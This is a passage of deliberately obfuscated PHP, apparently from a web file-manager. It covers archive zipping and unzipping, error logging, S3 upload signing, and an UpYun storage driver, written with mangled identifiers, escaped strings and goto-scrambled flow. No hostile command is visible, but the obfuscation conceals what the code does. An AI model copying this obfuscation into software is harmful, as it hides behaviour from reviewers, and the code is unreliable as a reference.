$e´ = $Cߌ[81] . (isset($cɵ[$f͎]) ? $cɵ[$f͎] : ucfirst($f͎)); if (!class_exists($e´)) { show_json("{$e´}\x20\156\x6f\x74\40\x65\x78\151\163\164\163\41", !1); } $e = isset($b쭈[$Cߌ[16]]) ? $b쭈[$Cߌ[16]] : !1; self::$driverCache[$E] = new $e´($e); } goto Eَ쨮; C˃컳: $A݈->path = $aضֳ; return $A݈; goto d; A: if (isset($b쭈[$Cߌ[16]][$Cߌ[1017]])) { $A݈->pathBase = rtrim($b쭈[$Cߌ[16]][$Cߌ[1017]], $Cߌ[18]) . $Cߌ[18]; $aضֳ = $A݈->pathBase . ltrim($aضֳ, $Cߌ[18]); } $aضֳ = $A݈->getPath($aضֳ); if (isset($a[$Cߌ[991]])) { $aضֳ = $a[$Cߌ[991]]; } goto C˃컳; d: } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $d̷; if (!$d̷) { $b = IO::init($_SERVER[ȦÆ][18]); } return $b; } private static function iconvSystem($dȈ) { return self::local()->iconvSystem($dȈ); } private static function iconvApp($bޜ򼤈) { return self::local()->iconvApp($bޜ򼤈); } public static function zip($dϺ, $bܑ䅭 = "\172\x69\x70", $aʾ = '', $Cơܶ = REPEAT_RENAME) { goto d; b: foreach ($BݸҌ as $Bۢ => $Bܮ) { $BݸҌ[$Bۢ] = self::iconvSystem($Bܮ); } KodArchive::create($a䟅, $BݸҌ); if (!IO::exist($D)) { if ($cĨ) { del_dir($cĨ); } show_json(LNG($C[1020]), !1); } goto Dʲ; Dʲ: if ($aʾ || !$cĨ) { if ($cĨ && strstr($cĨ, TEMP_FILES)) { $eёۓ = $BݸҌ = array(); recursion_dir($Cׇ, $eёۓ, $BݸҌ, 0); foreach ($eёۓ as $eȇ) { del_dir($eȇ); } foreach ($BݸҌ as $dЬ) { if ($dЬ == $a䟅) { continue; } del_file($dЬ); } } return $D; } $c = self::pathFather($aߌ[$C[85]]); $Bܛ = self::move($D, $c, $Cơܶ); goto Fʎ; Fʎ: if (!$Bܛ) { del_dir($cĨ); show_json(LNG($C[1020]), !1); } del_dir($cĨ); return $Bܛ; goto C; aˆ睇: $D = $Cׇ . $D󴴾ׄ . $C[101] . $bܑ䅭; $D = get_filename_auto($D, $C[43], $Cơܶ); $a䟅 = self::iconvSystem($D); goto b; D̢ބ: if (count($BݸҌ) > 1) { $c = IO::info(IO::pathFather($aߌ[$C[85]])); $D󴴾ׄ = $c[$C[38]]; } $Cׇ = $cĨ; if (!$Cׇ) { $Cׇ = get_path_father($aߌ[$C[85]]); $c = IO::info($Cׇ); if (!$c[$C[195]]) { show_json(LNG($C[1019]), !1); } } goto aˆ睇; d: $C =& $_SERVER[ȦÆ]; $B = self::init($dϺ[0][$C[85]]); $aߌ = self::info($dϺ[0][$C[85]]); goto a熪; a熪: $cĨ = !1; if (!$aʾ && $B->getType() == $C[111]) { $BݸҌ = self::zipFileList($dϺ); } else { $cĨ = $aʾ ? $aʾ : TEMP_FILES . $C[1018] . time() . rand_string(8) . $C[18]; mk_dir($cĨ); $BݸҌ = self::zipFileList($dϺ, $cĨ); } $D󴴾ׄ = $aߌ[$C[38]]; goto D̢ބ; C: } public static function unzip($a∌, $f = "\162\145\x70\154\x61\x63\145") { goto Dϴ­; c¡ۅ: $fȧ = self::tmpFileName($F؍ć); $a = TEMP_FILES . $fȧ; del_dir($a); goto Eإ; Fܣ: if (!($F؍ć = parent::info($Eֵ))) { show_json(LNG($F탠[1022]), !1); } if (!($dЏ = parent::infoFull($B))) { $B = parent::mkdir($B); $dЏ = array($F탠[85] => $B); } else { if (isset($dЏ[$F탠[374]]) && trim($dЏ[$F탠[85]], $F탠[18]) != trim($B, $F탠[18])) { $B = KodIO::make($dЏ[$F탠[466]]); $fރ = parent::fileNameAuto($B, $dЏ[$F탠[38]], REPEAT_RENAME_FOLDER, !0); $B = parent::mkdir($B . $fރ); $dЏ = array($F탠[85] => $B); } } $B = $dЏ[$F탠[85]]; goto c¡ۅ; cƨ: Hook::trigger($F탠[1028], $a); recursion_dir($a, $fՓɆ, $A葏, 0); $cŚ = array_merge($fՓɆ, $A葏); goto A̶; Eإ: mk_dir($a); $A͂ = self::fileExt($F؍ć); $FƮ = $a . $F탠[101] . $A͂; goto d񥙣; Dϴ­: $F탠 =& $_SERVER[ȦÆ]; $Eֵ = $a∌[$F탠[85]]; $B = $a∌[$F탠[1021]]; goto Fܣ; A̶: foreach ($cŚ as $A) { $A = self::iconvApp($A); self::move($A, $B, $f); } del_dir($a); if (!$EϠ) { del_file($FƮ); } goto Bϋ; Bٴ: $F = KodArchive::extract($FƮ, $a . $F탠[18], $dʴ); self::archiveExt(); if (!$F[$F탠[1025]]) { show_json($F탠[1026] . $F[$F탠[1027]], !1); } goto cƨ; Bϋ: return !0; goto fЍӏ; d񥙣: if (!@file_exists(self::iconvSystem($FƮ))) { $EϠ = self::localFilePath($Eֵ, $A͂); $FƮ = $EϠ ? $EϠ : parent::download($Eֵ, $FƮ); } $FƮ = self::iconvSystem($FƮ); $dʴ = isset($a∌[$F탠[1023]]) ? $a∌[$F탠[1023]] : $F탠[1024]; goto Bٴ; fЍӏ: } public static function unzipList($E) { goto E; F̶٫ڝ: self::archiveExt(); del_dir($Bɔꋊ); if (!$cÒ[$E[1025]]) { show_json($cÒ[$E[1027]], !1); } goto FȠ; fی: if (!is_dir($Bɔꋊ)) { mk_dir($Bɔꋊ); } $Bʘ = $Bɔꋊ . $E[18] . $dȂĈ; if (!@file_exists(self::iconvSystem($Bʘ))) { if (isset($CņĆ)) { url_request($c, $E[1032], $Bʘ); } else { $C = self::localFilePath($c, $d); $Bʘ = $C ? $C : self::download($c, $Bʘ); } } goto D܆͵; cϐܾ: return $cÒ[$E[1027]]; goto dЭ; E: $E =& $_SERVER[ȦÆ]; $c = $E[$E[85]]; $D = isset($E[$E[1029]]) ? $E[$E[1029]] : -1; goto F; c˃: if (isset($CņĆ)) { $fǯ = array($CņĆ[$E[85]], $CņĆ[$E[1029]], $CņĆ[$E[38]]); $dȂĈ = md5(implode($E[80], $fǯ)) . $E[101] . get_path_ext($CņĆ[$E[38]]); } else { $fǯ = array($Aח[$E[38]], $Aח[$E[85]], $Aח[$E[87]]); $dȂĈ = md5(implode($E[80], $fǯ)) . $E[101] . $d; } if ($D == -1) { $A̻ = IO_PATH_SYSTEM_TEMP . "\172\151\160\x56\151\x65\167\57{$DĬ}\x2f{$dȂĈ}\56\x6c\x6f\147"; $d = self::infoFull($A̻); if ($d) { $A̻ = $d[$E[85]]; $eѐ﹠ = self::getContent($A̻); if ($eѐ﹠) { $E = json_decode($eѐ﹠, !0); if (count($E) >= $c) { show_json(sprintf(LNG($E[1031]), count($E)), !1); } return $E; } } else { $A̻ = self::mkfile($A̻); } } $Bɔꋊ = TEMP_FILES . $DĬ; goto fی; e: $Aח = self::info($f); $d = self::fileExt($Aח); $DĬ = self::tmpFileName($Aח); goto c˃; FȠ: $E = json_encode($cÒ[$E[1027]]); self::setContent($A̻, $E); if (count($cÒ[$E[1027]]) >= $c) { show_json(sprintf(LNG($E[1031]), count($cÒ[$E[1027]])), !1); } goto cϐܾ; D܆͵: $Bʘ = self::iconvSystem($Bʘ); if ($D >= 0) { $Aڱ = isset($E[$E[1033]]) ? $E[$E[1033]] : !1; $F = isset($E[$E[38]]) ? $E[$E[38]] : $E[43]; KodArchive::filePreview($Bʘ, $D, $Aڱ, $F); self::archiveExt(); die; } $cÒ = KodArchive::listContent($Bʘ); goto F̶٫ڝ; F: $c = 50000; if (request_url_safe($c)) { $CņĆ = parse_url_query($c); if (!isset($CņĆ[$E[85]])) { show_json($E[1030], !1); } } $f = isset($CņĆ) ? $CņĆ[$E[85]] : $c; goto e; dЭ: } private static function fileExt($Bٙ) { $C =& $_SERVER[ȦÆ]; $c = $Bٙ[$C[166]]; if ($c == $C[1034]) { $E = $C[1035]; if (substr($Bٙ[$C[38]], -strlen($E)) == $E) { $c = $C[1036]; } } self::archiveExt($c); return $c; } private static function zipFileList($A椅, $FƒŃ = false) { $AŃ =& $_SERVER[ȦÆ]; $E = array(); foreach ($A椅 as $D) { $CԚ = $D[$AŃ[85]]; if ($FƒŃ) { $CԚ = self::copy($D[$AŃ[85]], $FƒŃ, $AŃ[745]); } if ($CԚ && self::local()->exist($CԚ)) { $E[$D[$AŃ[85]]] = $CԚ; } } if (!empty($E)) { return array_values($E); } show_json(LNG($AŃ[1037]), !1); } public static function tmpFileName($a؂) { $Aʨ =& $_SERVER[ȦÆ]; $E͎ = array($a؂[$Aʨ[38]], $a؂[$Aʨ[85]], $a؂[$Aʨ[87]], $a؂[$Aʨ[464]]); return md5(implode($Aʨ[80], $E͎)); } private static function localFilePath($Bň, $d፛ʥ) { goto fÓ; fÓ: $F݂ヴ =& $_SERVER[ȦÆ]; if ($d፛ʥ == $F݂ヴ[1038] && strtoupper(substr(PHP_OS, 0, 3)) == $F݂ヴ[1039]) { return !1; } $Cș = KodIO::parse($Bň); goto A̋ێ; A̋ێ: if ($Cș[$F݂ヴ[39]] == KodIO::KOD_SOURCE) { $fň = Model($F݂ヴ[753])->fileInfoGet(KodIO::sourceID($Bň)); if (!$fň[$F݂ヴ[85]]) { show_json($F݂ヴ[1040], !1); } $Bň = $fň[$F݂ヴ[85]]; } $d = self::init($Bň); $aא = $d->getType(); goto Bɇ; Bɇ: if ($aא == $F݂ヴ[111] || $aא == $F݂ヴ[1041]) { if (!$d->exist($d->path)) { show_json(LNG($F݂ヴ[110]), !1); } return $d->path; } return !1; goto E̙; E̙: } private static function archiveExt($Fˏ = '') { $GLOBALS[$_SERVER[ȦÆ][1042]] = $Fˏ; } } goto a; C: function beforeShutdownError($fޭ = false, $b = '', $A = '', $e = 0) { $BΌĖ =& $_SERVER[صȢˏ]; switch ($fޭ) { case E_PARSE: case E_ERROR: case E_CORE_ERROR: case E_COMPILE_ERROR: case E_USER_ERROR: $b = $BΌĖ[39]; break; case E_WARNING: case E_USER_WARNING: case E_COMPILE_WARNING: case E_RECOVERABLE_ERROR: $b = $BΌĖ[40]; break; case E_STRICT: $b = $BΌĖ[41]; break; case E_NOTICE: case E_USER_NOTICE: $b = $BΌĖ[42]; break; case E_DEPRECATED: case E_USER_DEPRECATED: $b = $BΌĖ[43]; break; default: break; } if (!$b || $b == $BΌĖ[42] || $b == $BΌĖ[43]) { return; } $A = $BΌĖ[4] . str_replace($_SERVER[$BΌĖ[37]], $BΌĖ[20], $A); $F䝖 = $b . $BΌĖ[44] . $b . $BΌĖ[44] . $A . $BΌĖ[44] . $e; write_log($F䝖 . $BΌĖ[18] . get_caller_msg(1), $BΌĖ[19]); } $_SERVER[$_SERVER[صȢˏ][45]] = $_SERVER[$_SERVER[صȢˏ][37]] . $_SERVER[صȢˏ][46]; $fϼ = strrev(base64_decode($_SERVER[صȢˏ][47])); goto aě; d: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($e⋨) { parent::__construct($e⋨); } public function uploadFormData($A׊, $EˢĴ = 3600) { goto Dף; Dף: $D =& $_SERVER[ȦÆ]; $d = $D[191]; $Dװ = $D[1119]; goto eć; e˂: $Bօ = hash_hmac($D[1129], $A, $fѱ, !0); $d = hash_hmac($D[1129], $Cŋ, $Bօ, !0); $aʬ = hash_hmac($D[1129], $Dܔ, $d); goto eձ; C頫׊: $Dܔ = base64_encode(json_encode($c˲ы)); $DƓ = hash_hmac($D[1129], $c, $D[1130] . $this->secret, !0); $fѱ = hash_hmac($D[1129], $this->region, $DƓ, !0); goto e˂; cո: $Cŋ = $D[1121]; $b = $EˢĴ . $D[43]; $f҂ = $D[1086]; goto FȐВ; eć: $A = $D[69]; $f榸 = gmdate($D[1120]); $c = gmdate($D[691]); goto cո; FȐВ: $C = array($this->accessKey, $c, $this->region, $A, $Cŋ); $B܌ = implode($D[18], $C); $c˲ы = array($D[1088] => gmdate($D[1087], strtotime($D[1122])), $D[1089] => array(array($D[1091] => $this->bucket), array($D[1090] => $d), array($D[1092], $D[1093], $D[43]), array($D[1092], $D[1123], $D[43]), array($D[1092], $D[1124], $D[43]), array($D[1094] => $f҂), array($D[1125] => $B܌), array($D[1126] => $Dװ), array($D[1127] => $f榸), array($D[1128] => $b))); goto C頫׊; eձ: $Aޫۨ = array($D[205] => $D[43], $D[1131] => $D[43], $D[1090] => $d, $D[1094] => $f҂, $D[1098] => $Dܔ, $D[1132] => $B܌, $D[1133] => $Dװ, $D[1134] => $f榸, $D[1135] => $b, $D[1136] => $aʬ, $D[175] => $this->getHost()); return $Aޫۨ; goto Dٺ; Dٺ: } public function multiUploadFormData($e刐ԫ, $cĈ = 3600) { $E˃ =& $_SERVER[ȦÆ]; $eƥ = gmdate($E˃[1216]); $D = array(); $C폢 = $this->client->getUploadId($this->bucket, $e刐ԫ, $D); if (!$C폢) { return !1; } return array($E˃[215] => $C폢, $E˃[175] => $this->getHost() . $E˃[18] . $this->pathEncode($e刐ԫ), $E˃[216] => $eƥ, $E˃[99] => $e刐ԫ); } public function multiUploadAuthData($cԠ, $aȶ = array()) { goto DߊȺ; dɗ: if (isset($aȶ[$e[1217]])) { $Dې؎[$e[1218]] = $aȶ[$e[1217]]; } $e≓ = explode($e[177], $this->getHost()); $A = array($e[1219] => $e≓[1], $e[1220] => $e[43], $e[205] => $e[125], $e[1131] => $aȶ[$e[87]]); goto eڠ; DߊȺ: $e =& $_SERVER[ȦÆ]; $Dɏ = isset($aȶ[$e[166]]) ? $aȶ[$e[166]] : $e[43]; $Aѽ = $aȶ[$e[99]]; goto B̈́崚; eڠ: $b򥜑 = $e[220]; $CŸº = $e[18] . $this->pathEncode($Aѽ) . $Dɏ; $c = $this->client->__getSignatureV4($Dې؎, $A, $b򥜑, $CŸº); goto A; A: if (strpos($Dɏ, $e[219]) === 0) { if (isset($Dې؎[$e[1218]])) { $c׎ = $Dې؎[$e[1218]]; } else { if (isset($c[$e[1218]])) { $c׎ = $c[$e[1218]]; } else { $c׎ = hash($e[1129], $e[43]); } } return array($e[225] => $c[$e[225]], $e[1218] => $c׎, $e[216] => $c[$e[1221]]); } return $c[$e[225]]; goto A; B̈́崚: unset($aȶ[$e[99]]); if (isset($aȶ[$e[217]])) { return $this->listUploadParts($Aѽ, $aȶ); } $Dې؎ = array(); goto dɗ; A: } public function listUploadParts($Fϡ, $d訞 = array()) { goto Fߦ; BՎ: $DȚֈ = array($D[1219] => $Bߡͩ[1], $D[205] => $D[125], $D[1131] => strlen($BԿŎ)); $Cȸ = $D[218]; $fƾź = $D[18] . $this->pathEncode($Fϡ) . $d訞[$D[166]]; goto A꾷; A꾷: $B = $this->client->__getSignatureV4($F, $DȚֈ, $Cȸ, $fƾź, $BԿŎ); return array($D[225] => $B[$D[225]], $D[216] => $B[$D[1221]], $D[227] => $Fڨ, $D[1218] => $B[$D[1218]]); goto A͒; fջ: $BԿŎ .= $D[1225]; $F = array(); $Bߡͩ = explode($D[177], $this->getHost()); goto BՎ; bƙԄ: if (!$Fڨ) { return !1; } $BԿŎ = $D[1222]; foreach ($Fڨ as $B쐊) { $BԿŎ .= $D[1223] . "\x3c\x50\x61\x72\x74\116\165\155\x62\145\x72\76{$B쐊[$D[1174]]}\x3c\57\x50\141\x72\164\x4e\x75\x6d\142\145\x72\76\xa" . "\74\x45\x54\141\x67\76{$B쐊[$D[1175]]}\74\x2f\105\124\141\x67\x3e\12" . $D[1224]; } goto fջ; Fߦ: $D =& $_SERVER[ȦÆ]; $A䴛 = str_replace($D[226], $D[43], $d訞[$D[166]]); $Fڨ = $this->client->listParts($this->bucket, $Fϡ, $A䴛); goto bƙԄ; A͒: } public function link($D, $fŇ = array()) { return parent::link($D, $fŇ); } public function fileOut($C, $c޳ = false, $aȟ = false, $fζ = '') { if (strstr($this->endpoint, $_SERVER[ȦÆ][1226])) { return parent::fileOutServer($C, $c޳, $aȟ, $fζ); } parent::fileOut($C, $c޳, $aȟ, $fζ); } public function fileOutImage($fЗ, $cѵ = 250) { if (strstr($this->endpoint, $_SERVER[ȦÆ][1226])) { return parent::fileOutImageServer($fЗ, $cѵ); } parent::fileOutImage($fЗ, $cѵ); } public function fileOutLink($F) { $Eč =& $_SERVER[ȦÆ]; if (substr($F, 0, 7) == $Eč[1101]) { $F = $Eč[1102] . substr($F, 7); } header($Eč[162] . $F); die; } public function getHost() { $aê =& $_SERVER[ȦÆ]; $F = str_rtrim(parent::getHost(), $aê[18] . $this->bucket); $F = explode($aê[177], $F); return $F[0] . $aê[177] . $this->bucket . $aê[101] . $F[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($Dы, $d⏆ = 0) { parent::__construct(); $this->source = $Dы; $this->sourceSize = $d⏆; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($E = false) { return $this->sourceSize; } public function getContent($a = false) { if ($this->sourceType == self::TYPE_STRING) { return $this->source; } if ($this->sourceType == self::TYPE_FILE) { $EȵԄ = ftell($this->source); $Fጽ = @fread($this->source, $this->sourceSize); fseek($this->source, $EȵԄ); return $Fጽ; } } public function fileSubstr($b = false, $aÏǂ = 0, $fӷ = 0) { if (!$fӷ) { $fӷ = $this->sourceSize; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $aÏǂ, $fӷ); } if ($this->sourceType == self::TYPE_FILE) { $b̹ = ftell($this->source); fseek($this->source, $b̹ + $aÏǂ); $A = @fread($this->source, $fӷ); fseek($this->source, $b̹); return $A; } } public function hashMd5($B֥٬ = false) { return md5($this->getContent()); } public static function hash($e좎̫, $f݅ = 0) { $Aʤ = new PathDriverStream($e좎̫, $f݅); return $Aʤ->hashSimple($e좎̫); } public static function md5($F몎, $a먄Ѕ = 0) { $f̢ = new PathDriverStream($F몎, $a먄Ѕ); return $f̢->hashMd5($F몎); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\x74\x74\160\x3a\x2f\57\166\60\56\141\x70\x69\56\x75\x70\x79\165\x6e\56\143\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($D) { parent::__construct(); $this->_init($D); } public function _init($F) { foreach ($F as $B => $e) { if (isset($this->{$B})) { $this->{$B} = $e; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { show_json($_SERVER[ȦÆ][1227], !1); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($a鑈, $eڅ = "\107\x45\x54") { $Dƿ =& $_SERVER[ȦÆ]; $eĩ = gmdate($Dƿ[1191]); $d׶ = base64_encode(hash_hmac($Dƿ[1228], "{$eڅ}\46{$a鑈}\46{$eĩ}", md5("{$this->userpass}"), !0)); $a֢ = array("\101\x75\x74\150\x6f\x72\151\172\141\x74\151\157\x6e\72\x55\120\x59\x55\116\x20{$this->username}\x3a{$d׶}", "\104\x61\164\145\72{$eĩ}"); return $a֢; } public function ussRequest($C䏨, $dҢ = "\107\105\124", $D߇ = false, $Dͣ = false, $dύ = false) { goto aޚ; aޚ: $eѸ =& $_SERVER[ȦÆ]; $C䏨 = trim($C䏨, $eѸ[18]); $Aǭ = "\57{$this->bucket}\x2f{$C䏨}"; goto aӄٞ; bԎ: if (!$cӵ) { return array($eѸ[1025] => !1, $eѸ[1027] => $eѸ[1229]); } if (strtolower($dҢ) == $eѸ[190] || in_array($cӵ[$eѸ[1025]], array($eѸ[1086], $eѸ[1230]))) { $D߇ = $cӵ[$eѸ[1231]]; } else { $D߇ = json_decode($cӵ[$eѸ[1027]], !0); if (!$D߇) { $D߇ = $cӵ[$eѸ[1027]]; } else { if (!$cӵ[$eѸ[690]] && isset($D߇[$eѸ[1232]])) { $D߇ = $D߇[$eѸ[1232]]; } } } return array($eѸ[1025] => $cӵ[$eѸ[690]], $eѸ[1027] => $D߇); goto eЂ; aӄٞ: $a = $this->ussHeaders($Aǭ, $dҢ); if ($Dͣ) { $a = array_merge($a, $Dͣ); } $cӵ = url_request($this->endpoint . $Aǭ, $dҢ, $D߇, $a, $dύ); goto bԎ; eЂ: } public function mkfile($C, $FތƏ = '', $e = REPEAT_RENAME) { if ($this->setContent($C, $FތƏ)) { return $this->getPathOuter($C); } return !1; } public function mkdir($fƇ޺, $cί³ = REPEAT_SKIP) { $cߙ =& $_SERVER[ȦÆ]; $b = trim($fƇ޺, $cߙ[18]); if ($this->_isFolder($b)) { return $this->getPathOuter($b); } $Dَ = array($cߙ[1233]); $cݵ = $this->ussRequest($b, $cߙ[218], !1, $Dَ); return $cݵ[$cߙ[1025]] ? $this->getPathOuter($b) : !1; } public function copyFile($fڻ, $dֿ) { $B԰ں =& $_SERVER[ȦÆ]; $e = array($B԰ں[1234] . "\x2f{$this->bucket}\57{$fڻ}", $B԰ں[1235]); $Cˊ = $this->ussRequest($dֿ, $B԰ں[220], !1, $e); return $Cˊ[$B԰ں[1025]] ? !0 : !1; } public function moveFile($Cₖ, $AӲͩ) { $E =& $_SERVER[ȦÆ]; $a = array($E[1236] . "\57{$this->bucket}\57{$Cₖ}", $E[1235]); $C = $this->ussRequest($AӲͩ, $E[220], !1, $a); return $C[$E[1025]] ? !0 : !1; } public function delFile($fܻ) { $f =& $_SERVER[ȦÆ]; $eÍ = $this->ussRequest($fܻ, $f[1237]); return $eÍ[$f[1025]] ? !0 : !1; } public function delFolder($B瑪) { $D仅 =& $_SERVER[ȦÆ]; $bҞ = $this->listAll($B瑪); krsort($bҞ); foreach ($bҞ as $bꝏ) { $this->ussRequest($bꝏ[$D仅[85]], $D仅[1237]); } return $this->ussRequest($B瑪, $D仅[1237]); } public function rename($E, $FĢС) { if ($this->isFile($E)) { $FĢС = get_path_father($E) . $FĢС; return $this->moveFile($E, $FĢС); } return $this->renameObject($E, $FĢС); } public function fileInfo($A텅, $c = false, $eբ = array()) { $F =& $_SERVER[ȦÆ]; if ($c) { return array($F[38] => $this->pathThis($A텅), $F[85] => $this->getPathOuter($F[18] . $A텅), $F[39] => $F[173], $F[87] => isset($eբ[$F[330]]) ? $eբ[$F[330]] : 0, $F[166] => $this->ext($A텅)); } $D = array($F[38] => $this->pathThis($A텅), $F[85] => $this->getPathOuter($F[18] . $A텅), $F[39] => $F[173], $F[193] => 0, $F[116] => isset($D䮺[$F[1238]]) ? $D䮺[$F[1238]] : 0, $F[87] => isset($eբ[$F[330]]) ? $eբ[$F[330]] : 0, $F[166] => $this->ext($A텅), $F[194] => !0, $F[195] => !0); if (empty($eբ)) { $eբ = $this->objectMeta($A텅); if (!$eբ) { return $D; } $D[$F[193]] = $eբ[$F[1239]]; $D[$F[116]] = $eբ[$F[1240]]; $D[$F[87]] = $eբ[$F[87]]; } return $D; } public function folderInfo($f‚, $Bʷ = false) { $c =& $_SERVER[ȦÆ]; if ($Bʷ) { return array($c[38] => $this->pathThis($f‚), $c[85] => $this->getPathOuter($c[18] . $f‚), $c[39] => $c[86]); } $DΕ = array($c[38] => $this->pathThis($f‚), $c[85] => $this->getPathOuter($c[18] . $f‚), $c[39] => $c[86], $c[193] => 0, $c[116] => isset($A[$c[1238]]) ? $A[$c[1238]] : 0, $c[1147] => !0, $c[1148] => !0); if (empty($E镆)) { $E镆 = $this->objectMeta($f‚); if (!$E镆) { return $DΕ; } $DΕ[$c[193]] = $E镆[$c[1239]]; $DΕ[$c[116]] = $E镆[$c[1240]]; } return $DΕ; } private function fileList($F̍ˡ, $bባ = 0, $D = 1000) { $A =& $_SERVER[ȦÆ]; $b = array($A[1241], $A[1242] . $D); if ($bባ) { $b[] = $A[1243] . $bባ; } $c = $this->ussRequest($F̍ˡ, $A[222], !1, $b); return !$c[$A[1025]] ? !1 : $c[$A[1027]]; } public function listPath($BӪ, $Eۅ͑ = false) { goto c뽂އ; c뽂އ: $A˘Ͻ =& $_SERVER[ȦÆ]; $fܝ = $A˘Ͻ[43]; $B߻Ȑً = 1000; goto c; c: $e͉ = $a̪Ͼ = array(); $d = rtrim($BӪ, $A˘Ͻ[18]) . $A˘Ͻ[18]; while (!0) { $Dת = $this->fileList($BӪ, $fܝ, $B߻Ȑً); if (!$Dת) { return !1; } $fܝ = isset($Dת[$A˘Ͻ[1244]]) ? $Dת[$A˘Ͻ[1244]] : $A˘Ͻ[43]; $Aꈾ = isset($Dת[$A˘Ͻ[1245]]) ? $Dת[$A˘Ͻ[1245]] : array(); foreach ($Aꈾ as $DŊۋ) { if ($DŊۋ[$A˘Ͻ[39]] == $A˘Ͻ[86]) { $e͉[] = $this->folderInfo($d . $DŊۋ[$A˘Ͻ[38]], $Eۅ͑, $DŊۋ); } else { $a̪Ͼ[] = $this->fileInfo($d . $DŊۋ[$A˘Ͻ[38]], $Eۅ͑, $DŊۋ); } } if (count($Aꈾ) < $B߻Ȑً) { break; } } goto b; b: return array($A˘Ͻ[84] => $e͉, $A˘Ͻ[83] => $a̪Ͼ); goto Dک; Dک: } private function recursionAllFiles($A, &$bо܌) { $e =& $_SERVER[ȦÆ]; $D̏ = $e[43]; $d = 1000; $bІ = $e둯 = array(); $d㒙 = rtrim($A, $e[18]) . $e[18]; while (!0) { $A肋 = $this->fileList($A, $D̏, $d); if (!$A肋) { return !1; } $D̏ = isset($A肋[$e[1244]]) ? $A肋[$e[1244]] : $e[43]; $A = isset($A肋[$e[1245]]) ? $A肋[$e[1245]] : array(); foreach ($A as $a) { $dӴ೵ = array($e[85] => $d㒙 . $a[$e[38]], $e[86] => $a[$e[39]] == $e[86] ? 1 : 0, $e[87] => isset($a[$e[330]]) ? $a[$e[330]] : 0); $bо܌[] = $dӴ೵; if ($dӴ೵[$e[86]] == 1) { $this->recursionAllFiles($dӴ೵[$e[85]], $bо܌); } } if (count($A) < $d) { break; } } } public function has($a̻, $CԴє = false, $dϋ = true) { goto e; e: $dҬ =& $_SERVER[ȦÆ]; $d = $dҬ[43]; $D = 1000; goto b; E: while (!0) { $CØ = $this->fileList($a̻, $d, $D); if (!$CØ) { return !1; } $d = isset($CØ[$dҬ[1244]]) ? $CØ[$dҬ[1244]] : $dҬ[43]; $Cᷕ = isset($CØ[$dҬ[1245]]) ? $CØ[$dҬ[1245]] : array(); if (empty($Cᷕ)) { break; } $BӺȐ = array_to_keyvalue($Cᷕ, $dҬ[43], $dҬ[39]); $E竤 = array_count_values($BӺȐ); $E = isset($E竤[$dҬ[86]]) ? $E竤[$dҬ[86]] : 0; $aދ = count($BӺȐ) - $E; if ($CԴє) { $fʭ += $E; $A += $aދ; if ($e㲺ٷ < $D) { break; } continue; } if ($dϋ) { if ($aދ) { return !0; } } else { if ($E) { return !0; } } if (count($Cᷕ) < $D) { break; } } if ($CԴє) { return array($dҬ[197] => $A, $dҬ[198] => $fʭ); } return !1; goto a; b: $A = 0; $fʭ = 0; $e = rtrim($a̻, $dҬ[18]) . $dҬ[18]; goto E; a: } public function listAll($Aý) { $Aߙ = array(); $this->recursionAllFiles($Aý, $Aߙ); return $Aߙ; } public function canRead($e) { return $this->exist($e) ? !0 : !1; } public function canWrite($A) { return $this->exist($A) ? !0 : !1; } public function getContent($Aŏ) { return $this->fileSubstr($Aŏ, 0, -1); } public function setContent($c˹, $d򆃪 = '') { $C =& $_SERVER[ȦÆ]; if (!$d򆃪) { $fɱ넱 = $this->ussRequest($c˹, $C[218]); return $fɱ넱[$C[1025]]; } $Cѣޯ = $this->tempFile($this->pathThis($c˹)); file_put_contents($Cѣޯ, $d򆃪); if ($this->upload($c˹, $Cѣޯ)) { $this->tempFileRemve($Cѣޯ); return !0; } return !1; } public function fileSubstr($E鳣߰, $dҋ, $aʳ) { $f͐ =& $_SERVER[ȦÆ]; if (!($Eċح = $this->link($E鳣߰))) { return !1; } $cܺ = !1; if ($aʳ > 0) { $Cͼֲ = $dҋ + $aʳ - 1; $cܺ = array($f͐[1206] . $dҋ . $f͐[417] . $Cͼֲ); } $Bϰ = url_request($Eċح, $f͐[222], !1, $cܺ); return $Bϰ[$f͐[690]] ? $Bϰ[$f͐[1027]] : !1; } public function upload($fƧ, $d, $dǐ = false, $a֕ = REPEAT_REPLACE) { goto C; cȗ: if (!$d[$cݍ[1025]]) { return !1; } $Dްۥ = $d[$cݍ[1027]]; $C댷 = 0; goto Aͩۆ; Aͩۆ: $b箨͝ = $Dްۥ[$cݍ[1251]]; $Dꄡ = fopen($d, $cݍ[1155]); if (!$Dꄡ) { return !1; } goto b⢿; C: $cݍ =& $_SERVER[ȦÆ]; $E㑎ψ = IO::size($d); if ($E㑎ψ <= 1024 * 1024 * 200) { $a = array($cݍ[1246] . $d); $d = $this->ussRequest($fƧ, $cݍ[220], $a); return $d[$cݍ[1025]] ? $this->getPathOuter($fƧ) : !1; } goto E; E܉: $d = $this->ussRequest($fƧ, $cݍ[220], !1, $c); return $d[$cݍ[1025]] ? $this->getPathOuter($D쓱ij) : !1; goto eލ; E: $F = 1024 * 1024 * 10; $c = array($cݍ[1247], $cݍ[1248] . $E㑎ψ, $cݍ[1249], $cݍ[1250] . $F); $d = $this->ussRequest($fƧ, $cݍ[220], !1, $c); goto cȗ; b⢿: do { $Eқ = $Dްۥ[$cݍ[1252]]; fseek($Dꄡ, $C댷); $C䐴 = fread($Dꄡ, $Eқ); $Cő䱋 = 0; do { $Cő䱋++; $Dްۥ = $this->uploadPart($fƧ, $Dްۥ, $C䐴); } while (!$Dްۥ && $Cő䱋 < 3); if (!$Dްۥ) { return !1; } $b箨͝ = $Dްۥ[$cݍ[1251]]; $C댷 += $Eқ; } while ($b箨͝ != -1); fclose($Dꄡ); $c = array($cݍ[1253], $cݍ[1254] . $Dްۥ[$cݍ[1255]], $cݍ[1249]); goto E܉; 